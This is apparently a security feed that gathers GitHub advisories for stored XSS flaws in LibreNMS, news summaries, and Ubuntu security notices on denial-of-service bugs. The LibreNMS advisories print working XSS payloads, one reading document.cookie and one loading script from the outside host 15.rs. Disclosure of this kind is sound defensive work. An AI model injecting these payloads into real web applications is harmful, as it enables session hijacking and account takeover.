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GHSA-c86q-rj37-8f85: LibreNMS has a stored XSS in ExamplePlugin with Device's Notes

### Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code. ### Details User with Admin role can add Notes to a device, the application did not properly sanitize the user input, when the ExamplePlugin enable, if java script code is inside the device's Notes, its will be trigger. ### PoC 1. As an admin user, enable the ExamplePlugin. ![image](https://github.com/user-attachments/assets/409f3a0c-7fac-46e3-8140-84749a120dd9) 2. Add the payload `<img src="x" onerror="alert(document.cookie)">` into the device Notes ![image](https://github.com/user-attachments/assets/c2a57dbd-ea07-4166-8b29-61be6ad6c2b6) 3. Once visit the Overview of the Device, a pop-up will show up. ![image](https://github.com/user-attachments/assets/3c9b87c3-d010-49e7-bd13-4a715db4e0c3) ### Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users'...

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GHSA-gfwr-xqmj-j27v: LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. ### Details The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column. The payload used to exploit this vulnerability is: `'"><script/src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The vulnerabilit...

Microsoft Power Pages Misconfigurations Expose Millions of Records Globally

SaaS Security firm AppOmni has identified misconfigurations in Microsoft Power Pages that can lead to severe data breaches.…

Combating the Rise of Federally Aimed Malicious Intent

In the future, the cybersecurity landscape likely will depend not only on the ability of federal workforces to protect their agencies but also on their capacity to continuously develop and sharpen those skills.

Lessons From OSC&amp;R on Protecting the Software Supply Chain

A new report from the Open Software Supply Chain Attack Reference (OSC&R) team provides a framework to reduce how much vulnerable software reaches production.

Ubuntu Security Notice USN-7089-6

Ubuntu Security Notice 7089-6 - Chenyuan Yang discovered that the USB Gadget subsystem in the Linux kernel did not properly check for the device to be enabled before writing. A local attacker could possibly use this to cause a denial of service. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

Ubuntu Security Notice USN-7112-1

Ubuntu Security Notice 7112-1 - It was discovered that the GD Graphics Library did not perform proper bounds checking while handling BMP and WebP files. If a user were tricked into opening a specially crafted file, an attacker could possibly use this issue to cause a denial of service.

Ubuntu Security Notice USN-7111-1

Ubuntu Security Notice 7111-1 - Philippe Antoine discovered that Go incorrectly handled crafted HTTP/2 streams. An attacker could possibly use this issue to cause a denial of service. Marten Seemann discovered that Go did not properly manage memory under certain circumstances. An attacker could possibly use this issue to cause a panic resulting in a denial of service. Ameya Darshan and Jakob Ackermann discovered that Go did not properly validate the amount of memory and disk files ReadForm can consume. An attacker could possibly use this issue to cause a panic resulting in a denial of service.

Ubuntu Security Notice USN-7088-5

Ubuntu Security Notice 7088-5 - Ziming Zhang discovered that the VMware Virtual GPU DRM driver in the Linux kernel contained an integer overflow vulnerability. A local attacker could use this to cause a denial of service. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

Ubuntu Security Notice USN-7089-5

Ubuntu Security Notice 7089-5 - Chenyuan Yang discovered that the USB Gadget subsystem in the Linux kernel did not properly check for the device to be enabled before writing. A local attacker could possibly use this to cause a denial of service. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.